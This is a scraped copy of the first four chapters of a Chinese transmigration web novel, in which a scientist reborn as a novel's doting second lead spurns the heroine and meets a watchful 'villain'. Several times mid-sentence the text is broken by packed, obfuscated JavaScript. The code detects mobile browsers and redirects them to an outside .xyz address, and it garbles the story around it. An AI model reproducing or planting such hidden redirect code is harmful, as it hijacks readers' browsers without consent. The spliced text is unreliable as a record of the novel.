《深情男二和偏执反派扭头就走》 1. 第 1 章 《穿成深情男二后我被偏执反派拐走了》 作/三界掌灯使 首发晋江文学城,请支持正版。 —————— 在被工厂车间里脱钩的氧枪砸中脑袋之前,楚辞舟曾经是中国科学院大学材料研究所里最年轻的一名教授,主攻材料学方向。 而在这名最年轻的教授成为教授之前,却没有人知道,他究竟来自于何处。 · 凌晨三点。 万籁俱寂。 一道尖锐的女人哭喊声划破寂静。 “舟哥哥对不起!求求你放过我吧!我心里只有易轩一个人,就算你得到了我的人,你也得不到我的心!” 声音离得极近,仿佛就在耳边。楚辞舟才刚从后脑勺被开瓢的闷响和人群骚动的尖叫中抽离开没有多久,正是浑浑噩噩的时候,听见这道声音,却也不由得浑身一抖,迅速集中了心神。 很快,身体对中枢部位传来的电信号无缝接收,原本正在逐渐失焦的眼神蓦地聚拢,楚辞舟眼前的画面从模糊逐渐转换为清晰。 这是一名小鹿般轻巧灵动的女孩儿。 她的眼睛水汪汪的,皮肤如膏脂一般吹弹即破,她距离楚辞舟只有不到一米的距离,她……她衣衫不整。 此等场景,此等美人,楚辞舟却生不出半分狎-昵的心思。不知为何,他的脑海中似有一道雪光划过,明明在此之前从未见过眼前这个女人,脑海里却蓦地升腾起来一个熟悉的名字—— “林晚晚?” 林晚晚,渣贱狗血虐文+追妻火葬场《她逃,他追,她插翅难飞》的女主角。 而之所以楚辞舟一个搞科研的理工男会去关注到这篇小学生文笔、智商与雷点齐飞的狗血小说,完全是因为这篇文里的男二。 男二与他同名,也叫“楚辞舟”,人设是豪门深情小公子,有财有颜,啥也不缺,唯一缺的可能就是脑子,跟在女主屁股后面追了好多年。 女主被炮灰欺负,他出头; 女主被男主欺骗,他保护; 女主消失五年,突然孤儿寡母、凄惨无依地出现,他不但帮忙接盘,还主动将遗产双手奉上……最后女主、孩子以及,男主,就这样靠着他的遗产,过上了幸福美满的日子! 这是多么伟大的情操! 多么高尚的无私奉献精神! 简直就是舍己为人的无上写…… 个屁啊! 楚辞舟拎着这本封面花里胡哨、内容却完全超脱了他二十七年对世界的认知的小说,连连皱眉。 他不明白这个男二究竟是怎么做到明明知道女主满口谎言还依旧痴心不改的,他到底喜欢女主的什么? 就比如今天的这场戏份,明明是男女主吵架,女主一气之下跑来找男二诉苦,可当她看见男主的身影出现在楼下,发了疯似的跑进单元楼门时,就立刻在心里原谅了男主并且擅自决定把明明是在安慰她的男二推出来当做挡枪的工具人。 最后的结果,就是男二被吃醋的男主推下二楼阳台,摔成残废,躺在医院里整整五年没有办法出门,而女主却和男主完成了顺利一轮轮的互虐,咔咔进入追妻火葬场剧情。 想到原主无辜受害的两条腿,以及最后父母人财两空的凄苦结局,楚辞舟可没办法再袖手旁观下去。 既然身为女主的林晚晚都已经这么求他了,那他作为男二,当然要满足她的愿望,就这么“放过”她好了! 楚辞舟伸出手,一把拽住女主胳膊,无视她的哭喊,将尖叫不已的林晚晚强行拉到门边,蓦地打开,往外一扔:“好巧林小姐,我最近也打算发展一下事业,既然如此,您请慢走,恕不远送。” 不是要英雄救美吗?不是要夺门而入吗? 来!你的女主!请拿好! 来到楚辞舟家门口的时候,周昊渊没料到里面会扔个女人出来。 嗯,女人。 周昊渊确定自己没有看错,敲门的手迅速收回,脚下一点,飞快地闪开。 与此同时,门内的人也是愣了愣:“……诶?” 门外这人,楚辞舟虽然从未见过,但也能猜到并不是男主。 书里写过,男主是个浪子,一生放纵不羁爱自由,是绝对不可能在凌晨三点,穿得如此西装革履,一丝不苟地出现在男二家门口的。 再细一看其长相:身材高挑,眸色深黑,但也或许正是因为其太过深黑,反而衬得它的主人有些清冷,难以捉摸。 符合以上所有条件的,楚辞舟仔细一想,原书里只有一个人:“反派?!” 嘴比脑子快,话一出口,楚辞舟就后悔了。 哪有当着角色喊出人家的人物属性的,再说一切都是剧情安排,人家可未必就认为自己是个反派。果然,从周昊渊黑沉淡漠的眸中透出几分清晰可见的疑惑:“什么反派?” “……”尼玛,这可真够乱的! 楚辞舟扶额。 正在这时,电梯门开,从里面气势汹汹地走出了今晚的第三位访客。 这人穿着休闲,脖子上还戴着骷髅头、十字架等中二期饰品,看起来年纪比他俩稍微小些,大概在22、3左右,身上带着浓浓的酒气,似乎刚刚才从什么地方鬼混回来。 看到这人,前一刻还在瑟瑟缩缩的林晚晚就像看见了主心骨般,立刻梨花带雨地扑了过去:“易轩!” 迟易轩伸手接住林晚晚,仿佛看不见门口站着的周昊渊,滔天的怒火泼向楚辞舟:“楚辞舟!你对晚晚做了什么?” 来了! 男主的挑衅事关下半生,楚辞舟没空搭理反派了,调集起全身的注意力,准备迎接一场恶战。 他转过身,身上披着的外袍被夜风拂起一角:“如你所见,什么也没干。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589328|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 好吧,楚辞舟承认这话看起来没什么说服力。 林晚晚来得太突然,原主当时还在睡觉,被她喊醒连衣服都来不及换只来得及披件外套就匆匆起床陪聊,里面还是一件真丝睡衣,这让他看起来……的确是十分地不庄重。 迟易轩果然被他激怒,放开女主飞扑上来。 地方太窄,又有个反派在边上杵着,楚辞舟不想让他被误伤,正准备将人往客厅里引,却听清脆的“啪”一声响,站在门边的周昊渊竟然只用一只手掌就将对方挥来蓄积着力量的拳头直接截了下来! “……” 楚辞舟都看呆了。 作为男主,迟易轩的身体素质肯定弱不了,能把这人的全力一击截下来,这得是多大的力气啊!反派他、他撸铁长大的吗? 正惊讶着,迟易轩像是刚发现这里竟然还有第四个人似的皱起了眉:“周昊渊?你为什么会在这里?” 是啊,反派为什么会在这里? 楚辞舟也很想知道。 可惜周昊渊并不想回答,他淡漠的黑眸浅浅地扫了男主一眼:“跟你没关系。” 迟易轩:“……你!” 迟易轩深深恼火这人目中无人的样子,但周家势大,遇上这种不吃威胁又打不动的他也是没法子,更何况他刚才已经在暗中发力试了试,直到现在都没把拳头从对方手里抽出来,反而有种快要被捏碎掉的感觉。 迟易轩不能在自己的女人面前失了面子,咬牙忍住骨节上传来的深刻的疼:“周昊渊!!!你现在摆明了要帮楚辞舟是不是?你想好了吗?真的要和迟家为敌?” 周昊渊没有回答他的问题,只是淡淡看着他的表情从愤怒逐渐过渡到扭曲。 这边迟易轩还没叫疼,在旁边观战的林晚晚却看得心疼不已。她眼泪汪汪地扑了过来,抓住楚辞舟的手紧张地看向楚辞舟:“舟哥哥,你倒是说句话呀!” 楚辞舟还在观战,冷不丁发现战火竟然烧到了自己。 这种情况下,他不明白到底是谁给的她信心,为什么会觉得自己说话能好用:“你让我说什么?” 林晚晚充满希冀地看向他:“你帮帮易轩啊~舟哥哥,我求求你,你说过会爱我宠我一辈子的!” 楚辞舟:“……” 女主的思维真是清奇,也不知道她是怎么把自己和自己的男人画上等号的。原主说的是要爱她宠她一辈子,又不是爱她宠她的男人一辈子,更何况现在换了人,楚辞舟连这四个字的边都不想沾。 楚辞舟道:“爱你宠你一辈子,是当初我真心把你当妹妹时才这么说的,可你呢?你又是怎么对我的?” 随时利用,随时抛弃,就像一块随手可扔的抹布,明明自己破破烂烂,却还要舍己为人呵护他们的感情! 楚辞舟完全不想和她说话,伸手推开女主。 远离伥鬼,幸福一辈子! 2. 第 2 章 男主是被反派扔进楼梯间的。 连电梯都没得坐。 周昊渊站在电梯前,冷脸的门神一样,看着林晚晚瑟瑟发抖地走进电梯,这才回过身来。 “都走了。你回去睡吧。” 事情解决,楚辞舟困意上涌,便也因此而并未注意到,这口气居然颇为熟稔,像是相识已久一般。 反派和男二之间的关系虽然不能说好,但鉴于他也从来没有对男二做过任何过分的事情,因此楚辞舟并没有像防备男主那样防备对方。 他点了点头,一边困顿不堪地打着哈欠,一边向入户门走去,开口道:“不急。我先重录一下指纹。” 今晚的状况,说到底其实还是因为当时原主实在太舔,为了向女主献殷勤,连自己在公司附近买的小平层都要给林晚晚也录上指纹才会发生的。 为了避免这姑娘又想不开,半夜跑来找他“诉苦”,他还是得把里面的指纹全删干净了才放心。 市面上的指纹锁虽然品牌众多,但操作还是有些相通之处的,楚辞舟拆开后盖,正对着里头的构件一番研究,却感觉有一道乌云似的巨大黑影笼在身上,甚至把走廊的灯光都挡了个一干二净。 “?” 楚辞舟不明所以地抬起头,就见反派竟也衣冠楚楚地跟了过来,正眸光淡淡地看着门锁,神色间似是若有所思。 他本以为对方跟来是有话要和他说,谁知等了半天,对方仍然只是看着,没有半点开口的意思,于是摸了摸鼻子,玩笑道:“怎么了?在这儿守着干嘛?不会是在等我给你加指纹吧?” 这本来只是个玩笑,谁知这人倒像是郑重地思考了一会儿,点点头,毫不客气地抬起了手,在楚辞舟刚设置好准备给他自己重新录入的指纹界面上按了一下。 不是,您老人家还真录啊? 楚辞舟有些傻眼。 倒不是说一个指纹有什么大不了的,只是,他感觉好像有点奇怪—— 反派和男二之间的关系,难道不应该是……呃,情敌吗? 对哦!说到这里楚辞舟才恍然起来:奇怪了!刚才反派居然没有帮林晚晚,而是选择了帮助他这个情敌?啊这…… 【请再次输入指纹。】 【您的指纹已添加,谢谢。】 听见机械女声尽职尽责的播报声,对方白皙冷淡的指节像是十分满意地在录入器上点了点,稍微停留了一会儿,这才缓缓收回。 “……” 楚辞舟更加迷惑了。 他穿来后既没有系统,也不像旁人那样可以接收到原主的记忆,唯一能够窥探到一些头绪的,仅仅只是原书里为数不多的那一点点信息。 他记得反派一开始并不是很有存在感,是到了后期,男二下线后才慢慢开始冒出来。 剧情后期,男二下线,女主拿到遗产,男主也终于悔悟,开始进入了追妻火葬场的尾声,眼看着就要一家团圆,迈向幸福生活—— 可就在这时,却有一名隐藏身份的神秘对家出现,大举做空迟家,差点将男主逼上绝路。 呃,所以这个神秘人,怎么突然这么早就出现? 这是不装了?摊牌了?撕掉自己神秘的面纱了? 不应该吧? 楚辞舟摸了摸下巴,视线移到对方凌晨三点依旧一丝不苟得令人发指的西装。 说起来,谁会在这个点穿成这样?连头发都打理得那么蓬蓬松松有心机!不知道的还以为去见心上人呢! 楚辞舟憋了半天,问出了那个疑惑许久的问题:“对了,你为什么会在这里?” “……” 周昊渊收回去的指尖微微一顿。 不知道为什么,明明对方并没有做什么,甚至都没有开口多说一个字,可楚辞舟却有一种感觉,这人身上的气场变了。 仿佛由先前的云开雨霁变成了冰封雪覆一般。 几秒钟后,笼罩着寒意的人影离开。 然后嘭地一声,过道对面传来了无情的摔门声。 楚辞舟站在原地,看着对面的智能门锁上亮起的关锁标记,慢半拍地伸手,掌了掌自己的嘴。 艾玛,原来反派就住在他家对门啊? 瞧他这问题问的! · 凌晨四点。 监视器的白色微光中泛着浅浅的蓝,照在硕大的办公桌上。 这是一张强迫症看了会舒适的办公桌,除了一个巴掌大的相框外,几乎没有什么别的陈设。 不说书桌,包括这整个房间,都是单调沉闷的,像一个空旷而无趣的牢笼。 唯一一件将其打破的,便只有蓝光映照下,勉强能通过目力看清的那只相框。 那是一只不甚精美的相框,喷漆喷得厚薄不均,四周的木头甚至有些地方都还残留着毛边,和这里的强迫症风格格格不入。 相框外,一双琉璃般冷淡的黑眸注视着监视器,监视器中的各个视角,将许多场景串联在一起,有房间,有室外,也有空无一人的办公室。 其中一个场景被放大了,可以清晰地看见里面的青年,坐在床头,打着哈欠。 青年显然并不知道监视器的存在,正在支着下巴,嘟嘟囔囔地和自己说着什么,像是在复盘,又像是在分析情况,神色困倦但强打精神的样子有些可爱。 过了一会儿,青年看起来实在有些支撑不住了,频频点头,再次打了个哈欠后,放弃地伸手,拧灭了台灯。 画面陷入黑暗。 周昊渊深深吸了口气,重重向后一靠。 柔软的椅背随着他的动作向后倾倒。 良久,他仿佛自嘲般地开口,对相框中的人开口道:“你在期待什么?”不是早就已经习惯了吗? 相框中是两个年纪相仿的孩子。他们穿着相同的校服,一个在前,调皮的棕栗色卷发几乎占据了大半的镜头,眉眼弯弯,看起来没心没肺的样子,另一个在后,黑眸黑眼,矜贵冷淡,似乎很不愿意被镜头捕捉。但他们都那么鲜活,像初升的旭日。 相框的一角,有一行歪歪扭扭的刻痕。 可以看见小朋友曾经一个字一个字用心刻下的印记:TomyBestfriend,周昊渊! · 早上六点,楚辞舟被门铃声吵醒过来。 他昨晚被林晚晚缠了半晚上,这会儿犯瞌睡犯得厉害,看了一眼时间,郁闷地翻了个身,嘟哝一句:“这么早?谁啊?周浩!去开门……” 说完又眯了过去。 不知道过了多久,他感觉自己的上下眼皮才刚刚挨着,却有东西冷不丁在耳边震动起来,吓他好大一跳。 楚辞舟蓦地翻身,看见手机屏幕上的:“刘妈”两个字,睡眼惺忪地起床,游魂般来到门边。 打开门的时候,他其实还没回过神来,定睛一看,却见一个双手都提着食材、面相和善的阿姨站在门外。 “小舟,吵醒你了吧?我来做饭。”阿姨一边抱歉一边道,“对了,指纹锁怎么突然用不了了?刚才试了好多次都不行。” 楚辞舟“啊”了一声,这才缓慢地进入连线状态,想起原来自己已经不在现实世界了。 他看了一眼门外的阿姨,猜到她应该就是原主从家里带过来的做饭阿姨,和原主比较亲,于是赶紧让人进来,用上了手机屏幕上的称呼:“刘妈,我忘了,昨晚我把密码改了,一会儿就给你录上。” “行,要不你再去睡会儿吧?公司事儿忙……瞧瞧,都忙瘦了!” 刘妈一边提着菜进了厨房,一边像长辈一样地唠叨着他。 “哎,不睡了。”说了这么会儿话,楚辞舟也清醒了。 他摸了摸脸道:“一晚上就瘦了?那不能。” …… 楚辞舟站在镜子前,惊讶地看着里面的“自己”。 这是个十分清逸俊朗的青年,眼波中似有温存流转,粉色的薄唇干净柔软,唇角微微上弯,眼尾还有颗小小的黑痣,竟是个天生的风流种子。 楚辞舟照来照去,感觉镜子里的青年竟和他本身有七分相似。然而,越是这样就反而越是古怪,给人一种是自己又不是自己的感觉。 他想了想,对镜子里的温润青年抱了个拳:“这位……仁兄,我也不知道自己是怎么进的你的身体,不过,你家公司底子实在太好,若我占了你的身体,还不替你大展一番拳脚,岂不白白浪费了穿越大神的一番好意?当然,若是其间有何举措违了你意……莫怪莫怪。” · 两小时后,一名来自异世界的穿越靓崽,就这样衣冠楚楚地出现在了楚氏的办公楼下。 男二家是工业起家的老牌企业,自改革开放起,就在老一代企业家的远见卓识和不断探索中发展起来。 到如今,楚氏的产品早已占据国内大半江山,甚至远销海外,只是老爷子一直坚持着一个原则——绝不上市,杜绝一切资本追击,必要将一切主动权把握在自家人手中。 男二从小被当做继承人培养,别的不说,能获得老爷子的认可,顺利交接公司的掌控权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话是这么说,结果第三天下午,他还是被一个电话给叫走了。 只不过这次不是女主,而是老爸打来的。 这回艾达没说什么,反正她已经押着这位神龙见首不见尾的老板大人处理完了积压的所有文件,这会儿就是楚辞舟在她眼么前被龙卷风卷走了,她也是不会多眨一下眼睛的。 对此,楚辞舟评价道:“没有感情的老板压榨机!” 艾达还没走出门,听见此评价后微微一笑,抱着文件拱手道:“陛下谬赞了。老臣先行告退。” 楚辞舟眨眨眼,乐了:“真贫。要不我现在就打电话让财务拨点款?” “拨款?”艾达看了看手里的大堆文件,拿不准他说的究竟是哪一桩,“做什么的?” 楚辞舟笑嘻嘻:“给你买红桃k的。不是贫么?补补。” 话虽这么说,但楚辞舟心里其实满满地都是感谢。 多亏了艾达这妹子三天的高压政策,他现在已经在最短的时间里被强行科普完了楚氏所有的基本情况,现在就算是老爸立刻对他进行抽问,他也照样能达到脸不红心不跳的境界。 “少爷您回来了。” 不管在哪个世界,楚辞舟都没有将车给旁人开的习惯,看来原主也是如此。 楚辞舟刚把车开进庭院中停稳,就有人过来殷勤地给他开了车门。 好吧,大户人家,果然不一样。 这些情节,楚辞舟虽然从前在电视里看过,不过在自己面前完美地复刻出来,却也只是徒增了些紧张感而已。 他来之前,就已经反复对镜确认过自己的言行举止。明知道身体是原主的,大部分的情况自己也都掌握得差不多了,不可能出错,但一想到马上要见到原主最亲近的亲人,还是不可避免地有点紧张。 不过,这种紧张感在看见了沙发上言笑晏晏的美妇人时,便已经消散了大半。 老妈今年五十多岁,虽然已经不算年轻,但岁月对她却是可以说是颇为钟爱,除了从气质上可以看出一丝不同于少女的稳重端方之外,她干净白皙的脸上甚至很难找出一丝象征着衰老的皱纹,一看就是个被爱包围着的幸福女人。 对比原作中,因为儿子的残疾而一夜急白了头发的老妈,楚辞舟非常乐于看见现在被老公和儿子保护得无忧无虑的这一个。 老妈显然也看见了他,欣喜地朝他招手:“小舟!” 对上老妈身旁正襟危坐的男人那严厉中又带着慈祥的目光时,楚辞舟心头一动,一句久违的称呼脱口而出:“爸。” 他在门口又整理了一下衣衫,确信自己的外观看不出任何问题后,这才深吸口气,挤出一抹标志性的笑容,向屋内走去。 绕过遮挡视线的廊柱,走进客厅,看清坐在沙发另一头的另外一个身影时,楚辞舟忽然就笑不出来了。 等等,这、这什么稀奇古怪的画面? 男二的爸妈和—— 反派? 3. 第 3 章 “?” “……你怎么在这?” 看着客厅中和爸妈谈笑风生的人,楚辞舟脚下一滑,险些扑倒。 这,这又是怎么个情况? 对门也就算了,他只当是个巧合,可为什么反派他——居然还能来家里搞家访啊? 还有,这其乐融融的氛围是怎么回事? 说好的情敌呢? 说好的清冷偏执大BOSS呢? 听见他的问题,沙发上的青年收起了刚才的轻松愉悦。 沉静下来的时候,他的气质整个反转,刚才还和风细雨的青年一整个冰封万里,寒气四溢得像是快要上冻一般。 楚辞舟:“……” 怎么回事?为什么他感觉每次这句话说出来都让反派有种一整个破防的感觉…… 正疑惑着,老妈佯怒着走上前来,在他肩膀上轻轻捶打了一下,低声道:“小舟,你怎么回事?不是周天的时候你自己叫我把人家小昊约到家里来的吗?” 楚辞舟:“……啊?” 看着他茫然的表情,老妈忍不住扶额道:“啊什么啊?你该不会是又忘了吧!天老爷,你这孩子年纪轻轻的怎么就开始健忘了!这都已经是第几次了?你再这样,人家可真的要伤心了!” “啊?????”听到这里,楚辞舟更是跌破眼镜。 听老妈这意思,这居然还是个历史遗留问题? 他小声道:“这怎么办?我真的一点印象也没有了,老妈你知道我叫他来干什么的吗?知道的话给透露点呗?” “这我怎么知道?当时我问你,你又不肯说!”老妈恨铁不成钢地点了点他脑门。 眼见着母子二人窃窃私语的音量将沙发上一老一少两个男人的注意力都吸引了过来,老妈尴尬地呵呵一笑,把他往柱子后拽了拽:“我之前听见你们的只言片语,什么波啊收集器啊什么的,还有什么图纸……兴许是在准备做些什么新尝试吧?” 什么新尝试……? 楚辞舟绞尽脑汁也翻不出任何有关原主的记忆,只能尝试着回忆原文看看。 可惜原文中男二腿残后的五年基本就等同于进入了冷藏期,女主直到和男主彻底闹掰,才带着四岁的天才儿子华丽丽地出现在他眼前,相当于没有任何实际参考价值。 无法,楚辞舟磨磨蹭蹭地从墙后绕走出来,走进客厅,换上一副“嗨呀我怎么可能不记得,我当然什么都记得啦!”的表情,用这辈子最热络的仪态迎上去,笑呵呵地伸出手道:“哈哈,周总来啦!欢迎欢迎啊!” 他说完十分熟稔地伸出手,看意思是要和对方握手。 可也不知道为什么,他都已经表现得如此热络了,在场的所有人却都反而露出一副目瞪口呆的表情。 老爸抬了抬手,像是有些欲言又止,老妈更是“啊”了一声:“这是怎么了,小昊,你们怎么了?吵架了吗?” 啊这……? 楚辞舟的三观持续刷新中,伸出去的手也僵在半空。 果然,冒牌货就是冒牌货。 哪怕他再怎么熟知剧情,在真正熟悉原主的人面前,还是分分钟就得露出马脚来。 正在他的笑容逐渐僵硬,不知究竟该把手收回来还是咬牙坚持下去的时候,原本还冷脸看戏的周昊渊却是很给面子地站了起来,冲他伸出一只骨骼颀长的冰凉大手,缓缓包覆住他的。 “楚总,你的记性不好。”说到这里,他换了一种更加轻幽而缓慢的语调,“……大大地不好。” 他说话时,神色已经恢复了先前的淡漠,握手的力道也轻重合宜,并没有任何不对的迹象。 然而楚辞舟却有种大大不妙的感觉。 这语气……这动作…… 明明看起来是在好心帮他解围,可是怎么莫名给他一种平静之下的疯感? 这下终于有那种下一秒随时会翻脸的BOSS实感了! 没有原主的记忆可参考,楚辞舟即便想破脑袋也不可能想明白自己究竟哪里惹到了这位出场就是终局绝杀的关底BOSS,只能鸵鸟地假装看不见问题,埋头在公文包里摸了摸,拿出一份早就准备好的材料—— 说到这里就不得不庆幸,幸亏他恰好准备了这么一份材料,正好可以转移一下众人的注意力。 将材料递到老爸面前,楚辞舟开口道:“爸,我这几天审材料的时候,忽然产生了一些关于集团未来发展的新想法,这是我昨晚在家连夜做的可行性报告,您过目一下。” “哦?新想法?” 老爸伸手接过报告时,眼神中透露着欣慰,可见对这个自己培养出来的继承人还是非常满意的。接过文件,第一页便看见标题为《关于楚氏集团公司产业转向的可行性探讨报告》几个大字时,老爸的目光微微一沉。 老爸的反应,完全在楚辞舟的预料之中。 毕竟这份报告事关重大,如果做好了,完全可以扭转书里楚氏的结局。这一点,相信作为老企业家的楚怀瑾一眼就能看出。 老爸又往下翻了几页,目光停留在一张报表上。 他看了一会儿,似乎也察觉出了这份报告的关键性,站起身来对楚辞舟道:“来书房说吧。” 顿了顿,又点了点周昊渊:“小昊,你也来。” 楚辞舟:“……”啥? 不是,老爸您是认真的吗?为什么产业转向这么机密的东西反派也有资格旁听啊?这家伙在楚家的知情权这么高的吗?他在楚氏有股份啊? 可惜四人之中,三人都习以为常,唯一一个惊疑不定的人反倒成了异类。 周昊渊站起来,扣上西装外套后十分自然地就跟着老爷子上了楼,剩下楚辞舟一个人在楼梯口扶着把手风中凌乱一阵,这才快步跟了上来。 书房明亮,那份《关于楚氏集团公司产业转向的可行性探讨报告》被摆放在桌面上。 老爸亲手沏了壶茶,沉稳的目光落在桌前眉头紧锁的宝贝儿子身上。 自进屋以后,儿子就是这副思虑颇多的表情,也不知道在想些什么,还是说有所顾虑? 对于这个自己培养出来的接班人,楚怀瑾始终报有着无与伦比的耐心,他和蔼地笑了笑,将茶杯推到楚辞舟面前,鼓励道:“小舟,这里没有外人,你有什么想法就说出来吧。” 楚辞舟张了张嘴,欲言又止。 其实,倒也不是他有什么顾虑,只是反派坐在他旁边,一脸严肃,却散发着一股“心情不好”,“莫挨老子”,“我会吃人”的气息! 当然,现场的三个人里,似乎只有他一个人接收到了这份恐怖的气息,老爸像是完全感觉不到,还亲手给人家沏茶,似乎还认为这是个孝顺听话的乖巧后辈呢! 遇上这种情况,楚辞舟也只能跟着装瞎,深吸口气,定了定神:“爸,针对集团的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589330|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发展情况,我近来有些不成熟的想法,请您参谋参谋。” 上世纪七八十年代,楚氏搭上了改革开放的春风,依靠实体工业发家,主要方向为冶金,旗下产业涉及铁、铝、银、铜、铬、镍、镓等多种金属及其制品。 “但近年的财报显示,受到国际局势影响,自2020年来,我们的出口开始出现大幅萎缩,产能过剩现象严重。虽然国家出台了对我们重工企业的补贴政策,但我认为,未来至少十年,漂亮国等西方国家对我国的排挤孤立政策依旧不会改变。所以,为了尽快适应、乃至重新引领市场,我认为,我们楚氏集团应当效法古人,敢为人先,率先作出适当的改变……” 在被工厂车间里脱钩的氧枪砸中脑袋之前,楚辞舟是华夏科学院大学材料研究所里最年轻的一名教授,在学术圈中有着“鬼才”之称。 之所以“鬼”,是因为他的研究涉猎极广,且思维跳跃、角度刁钻。 平时的他看起来或许只是个朝九晚五、偶尔泡泡实验室加加班的年轻人,但他若是不动还好,一旦在沉闷中砸下一篇角度刁钻的论文,必定惊起学术圈同领域的一片“骂娘”之声。 而之所以“才”,则是因为他的论文虽然“怪”,却每次都怪得有理有据、也经得起论证推敲,是以在一开始的争议和骂娘声消散过后,随之而来的往往便是大片的惊叹与跟风之声。 当然,上辈子如何,如今已经都成为了过往,现在的楚辞舟,只是一名平平无奇的霸道总裁而已。 他代入老爸那个年代的思维,试图引用先贤例证:“马列主义、主席思想中曾经指出,科学技术是第一生产力。计划经济的时代早已过去,企业要想发展,就不能只靠一味地提高产能,而是应该向他人学习,取长补短,打造自己的核心竞争力。 那么现代社会的核心竞争力是什么?是知识产权。” “近几天我翻阅报表,发现一个问题:仅以我们企业的钢材为例,我们出产的钢材主要停留在50号钢、39型锰钢等冲压钢材,虽说这些刚才过去的需求面的确很广,甚至曾经有过辉煌的战绩,远销海外,但同样的,它们的劣势也很明显,那就是技术含量不高,可替代性强。一旦国际局势出现风吹草动,国外的材料商们很快便能从全球市场上找到替代产品,如果我们的竞争对手愿意在价格上再做出一些有吸引力的让步的话,便可能导致原本属于我们的市场份额被其他国家永久挤占。所以,在我看来,楚氏现在的产品结构方面是存在着相当问题的,虽然危机还未到来,但产业转向,已经是势在必行。” 说到这里,楚辞舟有些口渴,停下来抿了口茶水,而老爸也将视线投向了一旁沉默的周昊渊,很明显是也想征询一下他的意见。 周昊渊眸色浅浅,似是有些心不在焉。感受到老爸询问的目光,他这才淡淡开口,提出了自己的看法:“当代背景下,新能源和新材料是永恒的主题。” 楚辞舟:“!!!!!!” 妈耶,这小子,话说得可真是太有水平了!居然和自己接下来的观点不谋而合! 楚辞舟近乎感动地看着反派那张看似淡漠不近人情的脸,平生第一次将此人引为了暂时的知己。 他赞同道:“不错,当前大背景下,一切新科技的发展都有赖于新材料的诞生。所以,未来的楚氏,要做产品,却不能只做产品,而是应当向新材料的方向迈出新的步伐。” 4. 第 4 章 俗话说,每只穿书的兔子,都有一个星辰大海的梦想。 上辈子楚辞舟虽然醉心于科研事业,但也不是没有认识到科研院校自身的局限问题。 “高高在上”的科研人员,其实早就已经和真正的生产活动脱节,就算上辈子楚辞舟在理论方向上做出了如何震惊学界的成果,可真正能从实验室里走出来,转化为产品的成果却是少之又少,这也成为了他的一大遗憾。 至于他的第二大遗憾,则是资金问题。 “材料”,作为最烧钱的科研行业,用吞金兽来形容只怕也不为过——想当年美利坚航母的研发费用总共40亿美金,其中航母甲板的特种钢材,研发投入就已经超过了十亿,占总体成本的四分之一还有多。 他自己在院校中做科研,也发现一个问题,那就是很多项目其实都不是死于方向错误,而是死于高昂的经费以及试错的成本。 就像爱迪生,在发现钨丝之前,他已经试过一千六百多种材料,直到最后,才试到钨丝。而就这都还是属于幸运的——运气不好的时候,十万次、甚至上百万次的实验都不一定能出成果。 因此,高昂的经费,也是拦在材料学家面前的一大拦路虎,即便楚辞舟手中握有数项专利,也难以支撑费用高昂的研究。 可是如今,这两只令人胆寒的拦路虎,却都在他的新身份面前,迎刃而解! 楚辞舟作为一只穿书的兔子,都有种再不做些什么,真的对不起穿越大神的感觉! “嗯,那行吧。”老爸像是被他们说服了,指尖点了点可行性报告,思考地说,“楚氏没有研究中心,你如果需要场地,可以优先考虑西北郊的华钢厂区。那边的厂区位置宽阔,交通也足够便利,环保配套设施等等也是一应俱全,用来打造实验基地再好不过。” 又道:“对了,院校的教授我认识一些,你准备什么时候去,我打个电话招呼一下。” 这可真是,瞌睡来了就有人送枕头! 楚辞舟刚来这个世界,现在还不认识什么人,而偏偏要做研发,最紧缺的就是人才。听到这个,楚辞舟不由得眼前一亮,惊喜道:“真的?您可别哄我!” 老爸笑笑:“我哄你干什么?干这行的,谁还不认识几个教授了。” 他说完就给华工大那边的相熟的教授打了电话,楚辞舟看了看时间,决定赶早不赶晚,现在就立刻出发,去抢人才! 坐上主驾的时候,楚辞舟察觉到另外一边的车门被人拉开了。 一人带着满身的低气压,一言不发地坐了进来。 瞧他那副神色不虞、满身不驯但又偏偏要跟上来的样子,倒是让楚辞舟莫名想起了另外一个人。 · “哥,早饭好了,我上学去了昂!” 楚辞舟睡得正香,忽然一道炸雷般的变声期少年音在门外炸响。 “知道了,赶紧滚!” 楚辞舟没好气地翻了个身,裹紧棉被,用后脑勺对着门。 门外那个管他叫哥的臭小子,压根就不是他弟,只是一碰瓷进了他家的小骗子。 那一年,楚辞舟家里遭逢变故,爸妈跳楼身亡。 其实具体的情况,他至今为止都还没弄清楚,只知道爸妈是去参加了什么林地投资,被骗光了钱,还欠下一屁股债。 那时他还在读高中,成绩不错,不出意外的话本来可以拿下物理竞赛的保送名额,然后去北京读大学。出了这事以后,催债的上门,他收了几件衣服,背个背包翻墙跑了出来,到了个小县城,在一家餐馆里给人洗盘子,打黑工。 因为没到年龄,算是非法用工,每个月只有800块。 遇上小骗子的那天,楚辞舟刚拿到第一个月的工资,豪气地一挥手,请他兄弟老胡搓了顿大排档,软磨硬泡地要来了他心仪已久的那辆二手小电驴。 小电驴是老胡用修车店回收来的零件自己组装的,按道理属于非法改装车辆,最重要还无牌,老胡千叮咛万嘱咐,叫他千万不要给交警发现。 